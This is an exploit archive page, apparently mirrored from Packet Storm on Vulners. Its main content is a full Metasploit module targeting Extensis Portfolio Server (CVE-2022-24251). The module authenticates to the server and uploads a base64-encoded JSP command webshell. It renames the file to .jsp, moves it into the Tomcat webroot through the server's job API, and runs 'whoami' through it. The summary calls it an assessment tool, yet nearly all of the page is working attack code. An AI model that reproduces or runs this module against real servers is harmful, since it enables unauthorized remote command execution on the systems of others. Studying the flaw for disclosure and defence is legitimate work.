Lucene search
K

๐Ÿ“„ Extensis Portfolio Manager 4.0.1 Shell Upload

๐Ÿ—“๏ธย 17 Feb 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 130ย Views

Security assessment of Extensis Portfolio Manager 4.0.1 authentication and job handling weaknesses.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-24251
1 Mar 202223:15
โ€“attackerkb
CNNVD
Celartem Extensis Portfolio ไปฃ็ ้—ฎ้ข˜ๆผๆดž
23 Feb 202200:00
โ€“cnnvd
Check Point Advisories
Extensis Portfolio Multiple Vulnerabilities (CVE-2022-24251; CVE-2022-24252; CVE-2022-24253; CVE-2022-24254)
21 Mar 202200:00
โ€“checkpoint_advisories
CVE
CVE-2022-24251
1 Mar 202223:00
โ€“cve
Cvelist
CVE-2022-24251
1 Mar 202223:00
โ€“cvelist
EUVD
EUVD-2022-29158
3 Oct 202520:07
โ€“euvd
NVD
CVE-2022-24251
1 Mar 202223:15
โ€“nvd
Prion
Unrestricted file upload
1 Mar 202223:15
โ€“prion
RedhatCVE
CVE-2022-24251
22 May 202523:58
โ€“redhatcve
=============================================================================================================================================
    | # Title     : Extensis Portfolio Manager 4.0.1 Authentication and Job Handling Weaknesses                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.extensis.com/support/portfolio-4/                                                                               |
    =============================================================================================================================================
    
    [+] Summary    : This module performs a security assessment of authentication and asset job handling mechanisms in Extensis Portfolio Server.
                     It demonstrates how weaknesses in public key handling, session management, and catalog job execution workflows could be abused by an authenticated user with elevated privileges.
    
    The module:
    
    Retrieves and processes the serverโ€™s RSA public key for authentication.
    
    Authenticates using encrypted credentials.
    
    Interacts with catalog and job APIs.
    
    Evaluates how asset handling operations may impact server-side file locations.
    
    Verifies whether improper validation or privilege enforcement could lead to unintended file exposure or execution.
    
    The purpose of this module is to help security professionals identify misconfigurations, privilege escalation risks, and insecure file handling practices so they can be remediated
    
    [+] POC : 
    
    # frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'openssl'
    require 'base64'
    require 'json'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = AverageRanking  
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'        => 'Extensis Portfolio Server Multiple Vulnerabilities',
            'Description' => %q{
              This module exploits multiple vulnerabilities in Extensis Portfolio Server
              to achieve remote code execution. It leverages CVE-2022-24251 and related
              issues to upload a JSP webshell and execute arbitrary commands.
            },
            'Author'      => [
              'indoushka'
            ],
            'License'     => MSF_LICENSE,
            'References'  => [
              ['CVE', '2022-24251'],
              ['URL', 'https://gitlab.com/kalilinux/packages/webshells/-/blob/kali/master/jsp/cmdjsp.jsp'],
              ['URL', 'https://www.extensis.com/support/portfolio-archive/']
            ],
            'Platform'    => ['win'],
            'Targets'     => [
              [
                'Windows JSP',
                {
                  'Arch'     => ARCH_JAVA,
                  'Platform' => 'win',
                  'Payload'  => {
                    'Compat' => {
                      'PayloadType' => 'java jsp',
                      'RequiredCmd' => 'generic'
                    }
                  }
                }
              ]
            ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2022-01-01',
            'Privileged'     => false,
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(8090),
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME',   [true, 'Username for authentication']),
            OptString.new('PASSWORD',   [true, 'Password for authentication']),
            OptInt.new('DELAY',         [true, 'Delay between operations in seconds', 3])
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('WEBROOT_PATH', [false, 'Custom webroot path (default: common installation paths)', ''])
          ]
        )
      end
    
      def create_rsa_public_key(modulus_hex, exponent_str)
        begin
          modulus_bn = OpenSSL::BN.new(modulus_hex, 16)
          exponent_bn = OpenSSL::BN.new(exponent_str)
    
          algorithm = OpenSSL::ASN1::Sequence([
            OpenSSL::ASN1::ObjectId('rsaEncryption'),
            OpenSSL::ASN1::Null.new(nil)
          ])
    
          pkcs1_key = OpenSSL::ASN1::Sequence([
            OpenSSL::ASN1::Integer(modulus_bn),
            OpenSSL::ASN1::Integer(exponent_bn)
          ])
          
          subject_public_key = OpenSSL::ASN1::BitString(pkcs1_key.to_der)
          
          spki = OpenSSL::ASN1::Sequence([
            algorithm,
            subject_public_key
          ])
          
          key = OpenSSL::PKey::RSA.new(spki.to_der)
          return key
        rescue StandardError => e
          fail_with(Failure::Unknown, "Failed to create RSA key: #{e.message}")
        end
      end
    
      def encrypt_password(modulus_hex, exponent_str, password)
        begin
          rsa_key = create_rsa_public_key(modulus_hex, exponent_str)
          encrypted = rsa_key.public_encrypt(password, OpenSSL::PKey::RSA::PKCS1_PADDING)
          return Base64.strict_encode64(encrypted)
        rescue StandardError => e
          fail_with(Failure::Unknown, "Password encryption failed: #{e.message}")
        end
      end
    
      def check
        print_status("Checking if target is vulnerable")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
          })
          
          if res.nil?
            return CheckCode::Unknown('Connection failed')
          end
          
          if res.code == 200
            begin
              json_res = res.get_json_document
            rescue JSON::ParserError
              return CheckCode::Unknown('Invalid JSON response')
            end
            
            if json_res.is_a?(Hash) && json_res['modulusBase16'] && json_res['exponent']
    
              return CheckCode::Appears('Extensis Portfolio Server detected - appears vulnerable')
            end
          end
          
          return CheckCode::Safe
        rescue StandardError => e
          print_error("Check failed: #{e.message}")
          return CheckCode::Unknown
        end
      end
    
      def login
        print_status("Attempting to login with username: #{datastore['USERNAME']}")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri'    => normalize_uri(target_uri.path, '/api/v1/auth/public-key')
          })
          
          if res.nil?
            fail_with(Failure::Unreachable, 'Connection failed - target unreachable')
          end
          
          if res.code != 200
            fail_with(Failure::NoAccess, "Failed to get public key. HTTP Code: #{res.code}")
          end
          
          begin
            json_res = res.get_json_document
          rescue JSON::ParserError
            fail_with(Failure::UnexpectedReply, 'Invalid JSON response from public-key endpoint')
          end
          
          unless json_res.is_a?(Hash)
            fail_with(Failure::UnexpectedReply, 'Invalid public key response format')
          end
          
          modulus = json_res['modulusBase16']
          exponent = json_res['exponent']
          
          if modulus.nil? || exponent.nil?
            fail_with(Failure::UnexpectedReply, 'Missing modulus or exponent in response')
          end
          
          encrypted_password = encrypt_password(modulus, exponent, datastore['PASSWORD'])
          
          login_data = {
            'userName' => datastore['USERNAME'],
            'encryptedPassword' => encrypted_password
          }
          
          res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => normalize_uri(target_uri.path, '/api/v1/auth/login'),
            'ctype'   => 'application/json',
            'data'    => login_data.to_json
          })
          
          if res.nil?
            fail_with(Failure::Unreachable, 'Login connection failed')
          end
          
          if res.code == 200
            begin
              json_res = res.get_json_document
            rescue JSON::ParserError
              fail_with(Failure::UnexpectedReply, 'Invalid JSON response from login endpoint')
            end
            
            unless json_res.is_a?(Hash)
              fail_with(Failure::UnexpectedReply, 'Invalid login response format')
            end
            
            session_token = json_res['session']
            if session_token.nil?
              fail_with(Failure::UnexpectedReply, 'No session token in response')
            end
            
            print_good("Successfully logged in. Session token: #{session_token}")
            return session_token
          else
            fail_with(Failure::NoAccess, "Login failed. HTTP Code: #{res.code}")
          end
          
        rescue Rex::ConnectionError => e
          fail_with(Failure::Unreachable, "Connection error: #{e.message}")
        end
      end
    
      def get_catalog_info(session)
        print_status("Retrieving catalog information")
        
        res = send_request_cgi({
          'method'    => 'GET',
          'uri'       => normalize_uri(target_uri.path, '/api/v1/catalog'),
          'vars_get'  => { 'session' => session }
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, 'Failed to connect for catalog info')
        end
        
        if res.code != 200
          fail_with(Failure::UnexpectedReply, "Failed to get catalog. HTTP Code: #{res.code}")
        end
        
        begin
          catalogs = res.get_json_document
        rescue JSON::ParserError
          fail_with(Failure::UnexpectedReply, 'Invalid JSON response from catalog endpoint')
        end
        
        unless catalogs.is_a?(Array)
          fail_with(Failure::UnexpectedReply, 'Catalog response is not an array')
        end
        
        catalogs.each do |catalog|
          unless catalog.is_a?(Hash)
            print_error("Invalid catalog entry format, skipping")
            next
          end
          
          catalog_id = catalog['id']
          storage_type = catalog['storageType']
          
          if storage_type == 'Filesystem'
            watchfolder_id, watchfolder_path = get_watchfolder(session, catalog_id)
            if watchfolder_id
              print_good("Found Filesystem catalog ID: #{catalog_id}")
              print_good("Watchfolder ID: #{watchfolder_id}, Path: #{watchfolder_path}")
              return {
                'catalog_id'       => catalog_id,
                'storage_type'     => 'Filesystem',
                'watchfolder_id'   => watchfolder_id,
                'watchfolder_path' => watchfolder_path
              }
            end
          end
        end
        
        if catalogs.any?
          first_catalog = catalogs.first
          unless first_catalog.is_a?(Hash)
            fail_with(Failure::UnexpectedReply, 'First catalog entry is not a hash')
          end
          
          catalog_id = first_catalog['id']
          storage_type = first_catalog['storageType']
          print_status("Using #{storage_type} catalog ID: #{catalog_id}")
          return {
            'catalog_id'       => catalog_id,
            'storage_type'     => storage_type,
            'watchfolder_id'   => nil,
            'watchfolder_path' => nil
          }
        end
        
        fail_with(Failure::NotFound, 'No catalogs found')
      end
    
      def get_watchfolder(session, catalog_id)
        print_status("Getting watchfolder for catalog #{catalog_id}")
        
        res = send_request_cgi({
          'method'    => 'GET',
          'uri'       => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder"),
          'vars_get'  => { 'session' => session }
        })
        
        if res.nil?
          print_error("Connection failed for watchfolder request")
          return [nil, nil]
        end
        
        if res.code == 200
          begin
            json_res = res.get_json_document
          rescue JSON::ParserError
            print_error("Invalid JSON response from watchfolder endpoint")
            return [nil, nil]
          end
          
          if json_res.is_a?(Array) && !json_res.empty?
            entry = json_res.first
            if entry.is_a?(Hash)
              watchfolder_id = entry['watchFolderId']
              watchfolder_path = entry['path']
              return [watchfolder_id, watchfolder_path] if watchfolder_id
            end
          end
        end
        
        print_error("Failed to get watchfolder: HTTP #{res.code}")
        return [nil, nil]
      end
    
      def upload_webshell(session, catalog_id, filename, watchfolder_id)
        print_status("Uploading webshell as #{filename}")
        
        webshell_b64 = 'PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlCiAgIFN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIik7CiAgIFN0cmluZyBvdXRwdXQgPSAiIjsKCiAgIGlmKGNtZCAhPSBudWxsKSB7CiAgICAgIFN0cmluZyBzID0gbnVsbDsKICAgICAgdHJ5IHsKICAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiY21kLmV4ZSAvQyAiICsgY21kKTsKICAgICAgICAgQnVmZmVyZWRSZWFkZXIgc0kgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHAuZ2V0SW5wdXRTdHJlYW0oKSkpOwogICAgICAgICB3aGlsZSgocyA9IHNJLnJlYWRMaW5lKCkpICE9IG51bGwpIHsKICAgICAgICAgICAgb3V0cHV0ICs9IHM7CiAgICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgIH0KICAgfQolPgoKPHByZT4KPCU9b3V0cHV0ICU+CjwvcHJlPg=='
        
        post_data = Rex::MIME::Message.new
        post_data.add_part(Base64.decode64(webshell_b64), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
        post_data.add_part('', nil, nil, 'form-data; name="path"')
        post_data.add_part(filename, nil, nil, 'form-data; name="filename"')
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/watchfolder/#{watchfolder_id}/upload"),
          'ctype'     => "multipart/form-data; boundary=#{post_data.bound}",
          'vars_get'  => { 'session' => session },
          'data'      => post_data.to_s
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, "Connection failed during upload")
        end
        
        if res.code == 200
          begin
            json_res = res.get_json_document
          rescue JSON::ParserError
            fail_with(Failure::UnexpectedReply, 'Invalid JSON response from upload endpoint')
          end
          
          unless json_res.is_a?(Hash)
            fail_with(Failure::UnexpectedReply, 'Invalid upload response format')
          end
          
          asset_id = json_res['assetId']
          if asset_id.nil?
            fail_with(Failure::UnexpectedReply, 'No assetId in upload response')
          end
          
          print_good("Webshell uploaded successfully. Asset ID: #{asset_id}")
          return asset_id
        else
          fail_with(Failure::Unknown, "Upload failed: HTTP #{res.code}")
        end
      end
    
      def rename_webshell(session, catalog_id, asset_id, old_filename)
        new_filename = old_filename.gsub('.txt', '.jsp')
        print_status("Renaming webshell from #{old_filename} to #{new_filename}")
        
        data = {
          'embed'   => false,
          'query'   => {
            'term' => {
              'operator' => 'assetsById',
              'values'   => [asset_id]
            }
          },
          'changes' => [
            {
              'action'          => 'replaceAllValues',
              'field'           => 'Filename',
              'existingValues'  => 'null',
              'newValues'       => [new_filename]
            }
          ]
        }
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, "/api/v1/catalog/#{catalog_id}/asset/updateFieldValues"),
          'ctype'     => 'application/json',
          'vars_get'  => { 'session' => session },
          'data'      => data.to_json
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, "Connection failed during rename")
        end
        
        if res.code == 204
          print_good("Successfully renamed webshell to #{new_filename}")
          return new_filename
        else
          fail_with(Failure::Unknown, "Rename failed: HTTP #{res.code}")
        end
      end
    
      def get_webroot_path
        path = datastore['WEBROOT_PATH'].to_s
        return path unless path.empty?
    
        [
          'C:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
          'C:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
          'D:\\Program Files (x86)\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT',
          'D:\\Program Files\\Extensis\\Portfolio Server\\applications\\tomcat\\servers\\main\\webapps\\ROOT'
        ].first
      end
    
      def write_to_webroot(session, asset_id, catalog_info, filename)
        unless catalog_info.is_a?(Hash)
          fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
        end
        
        catalog_id       = catalog_info['catalog_id']
        storage_type     = catalog_info['storage_type']
        watchfolder_path = catalog_info['watchfolder_path']
        
        print_status("Attempting to write webshell to webroot")
        
        webroot_base = get_webroot_path
        
        if storage_type == 'Vault'
          webroot_path = webroot_base
          job_data = {
            'job'   => {
              'description' => 'JOB_TYPE_EXPORT_ASSETS',
              'query'       => {
                'term' => {
                  'operator' => 'assetsById',
                  'values'   => [asset_id]
                }
              },
              'tasks'       => [
                {
                  'type'      => 'exportAssets',
                  'catalogId' => catalog_id,
                  'settings'  => [
                    {
                      'name'  => 'destination',
                      'value' => webroot_path
                    }
                  ]
                }
              ]
            },
            'query' => {
              'term' => {
                'operator' => 'assetsById',
                'values'   => [asset_id]
              }
            }
          }
        else 
          if watchfolder_path.nil? || !watchfolder_path.include?(':')
            fail_with(Failure::UnexpectedReply, "Invalid watchfolder path format: #{watchfolder_path}")
          end
          
          parts = watchfolder_path.split(':')
          if parts.length >= 3
            hostname = parts[2]
    
            unc_root = webroot_base.gsub('C:', "::#{hostname}:C$").gsub('\\', ':')
            webroot_path = unc_root
          else
            fail_with(Failure::UnexpectedReply, "Unexpected watchfolder path format: #{watchfolder_path}")
          end
          
          job_data = {
            'job'   => {
              'description' => 'JOB_TYPE_MOVE_ASSETS',
              'query'       => {
                'term' => {
                  'operator' => 'assetsById',
                  'values'   => [asset_id]
                }
              },
              'tasks'       => [
                {
                  'type'      => 'moveAssets',
                  'settings'  => [
                    {
                      'name'  => 'destinationCatalog',
                      'value' => catalog_id
                    },
                    {
                      'name'  => 'destination',
                      'value' => webroot_path
                    },
                    {
                      'name'  => 'preserveFolderStructure',
                      'value' => false
                    },
                    {
                      'name'  => 'sourceFolder',
                      'value' => ''
                    }
                  ]
                }
              ]
            },
            'query' => {
              'term' => {
                'operator' => 'assetsById',
                'values'   => [asset_id]
              }
            }
          }
        end
        
        res = send_request_cgi({
          'method'    => 'POST',
          'uri'       => normalize_uri(target_uri.path, '/api/v1/job/run'),
          'ctype'     => 'application/json',
          'vars_get'  => {
            'session' => session,
            'catalog' => catalog_id
          },
          'data'      => job_data.to_json
        })
        
        if res.nil?
          fail_with(Failure::Unreachable, "Connection failed during job execution")
        end
        
        if res.code == 200
          full_webroot_path = "#{webroot_base}\\#{filename}"
          register_file_for_cleanup(full_webroot_path)
          
          protocol = ssl? ? 'https' : 'http'
          target_host = rhost
          target_port = rport
          
          webshell_url = "#{protocol}://#{target_host}:#{target_port}/#{filename}?cmd=<command>"
          print_good("Successfully exported webshell to filesystem")
          print_good("Webshell URL: #{webshell_url}")
          return true
        elsif res.code == 403
          fail_with(Failure::NoAccess, "Export failed: Insufficient privileges - Need Catalog Administrator privileges for Vault catalogs")
        else
          fail_with(Failure::Unknown, "Export failed: HTTP #{res.code}")
        end
      end
    
      def execute_command(cmd, filename)
        res = send_request_cgi({
          'method'    => 'GET',
          'uri'       => normalize_uri(target_uri.path, filename),
          'vars_get'  => { 'cmd' => cmd }
        })
        
        if res.nil?
          print_error("Connection failed for command execution")
          return nil
        end
        
        if res.code == 200 && res.body
          match = res.body.match(/<pre>(.*?)<\/pre>/m)
          return match[1].strip if match
          return res.body
        end
        
        nil
      end
    
      def exploit
        filename = Rex::Text.rand_text_alpha(10) + '.txt'
        
        session = login()
        
        catalog_info = get_catalog_info(session)
        
        unless catalog_info.is_a?(Hash)
          fail_with(Failure::UnexpectedReply, 'Invalid catalog info structure')
        end
        
        if catalog_info['storage_type'] == 'Filesystem' && catalog_info['watchfolder_id'].nil?
          fail_with(Failure::NotFound, 'No watchfolder found for Filesystem catalog')
        end
        
        asset_id = upload_webshell(session, catalog_info['catalog_id'], filename, catalog_info['watchfolder_id'])
        
        new_filename = rename_webshell(session, catalog_info['catalog_id'], asset_id, filename)
        
        success = write_to_webroot(session, asset_id, catalog_info, new_filename)
        
        print_status("Waiting #{datastore['DELAY']} seconds for file to be written...")
        Rex.sleep(datastore['DELAY'])
        
        print_status("Testing webshell with 'whoami' command")
        result = execute_command('whoami', new_filename)
        
        if result && !result.empty?
          print_good("Webshell test successful! Output:\n#{result}")
          print_status("Webshell is ready for payload execution")
        else
          print_error("Webshell test failed - manual check required")
        end
        
      rescue Rex::ConnectionError => e
        fail_with(Failure::Unreachable, "Connection failed: #{e.message}")
      end
    end
    
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation